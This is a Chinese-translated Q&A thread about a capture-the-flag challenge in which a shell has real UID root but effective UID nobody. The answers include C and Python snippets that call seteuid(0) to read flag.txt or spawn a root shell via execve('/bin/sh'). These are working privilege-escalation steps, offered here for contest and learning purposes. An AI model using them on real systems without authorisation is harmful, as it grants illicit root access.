UID 是 root 但 whoami 说没有人

UID 是 root 但 whoami 说没有人

我正在参加一场夺旗比赛,我必须实施某种形式的特权升级才能读取文件flag.txt。我注意到,当我运行时,whoami我得到了以下结果:

myHostHere:/$ whoami
nobody

但是当我运行时id我的 UID 设置为root

myHostHere:/$ id
uid=0(root) gid=65534(nobody) euid=65534(nobody)

这是否意味着我可以充当 root 用户等,或者我误解了输出?

编辑:

的输出ls -l flag.txt如下:

-r--r-----    1 root     root            34 Feb 10 12:00 flag.txt

答案1

--static可以通过在单独的机器上编写和编译(使用)类似这样的 C 程序来解决此问题:

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void main() {
    seteuid(0);
    setgid(0);
    system("cat flag.txt");
}

该文件可以复制到 CTF 机器上,授予执行权限chmod +x,然后从tmp文件夹运行。

答案2

我创建了一个与您的非常相似的设置。我使用调试器完成了此操作(示例:这里那里)。在受影响的 shell 中我有:

$ whoami
nobody
$ id
uid=0(root) gid=65534(nogroup) euid=65534(nobody) groups=65534(nogroup)
$

然后,根据这个答案

文件访问,以及需要root权限的操作,查看有效UID和GID。

确实,发生了以下情况:

$ ls -l flag.txt
---------- 1 root root 4 Mar 17 08:57 flag.txt
$ cat flag.txt
cat: flag.txt: Permission denied
$

但我可以这样做:

$ sudo cat flag.txt
foo

或这个:

$ su -
# whoami
root
# cat flag.txt
foo

或这个:

$ sg root 'cat flag.txt'
foo

当你有的时候uid=0,任何可以使用seteuid系统调用然后读取文件的东西都可以帮助到你。例如python

import os
os.seteuid(0)
f = open('flag.txt', 'r')
print f.read()
f.close()

除了读取文件之外,你还可以生成一个提升权限的 shell:

import os
os.seteuid(0)
os.execve("/bin/sh", [], {})

在这个 shell 中你root可以cat flag.txt工作。


测试平台:Debian GNU/Linux 9。

相关内容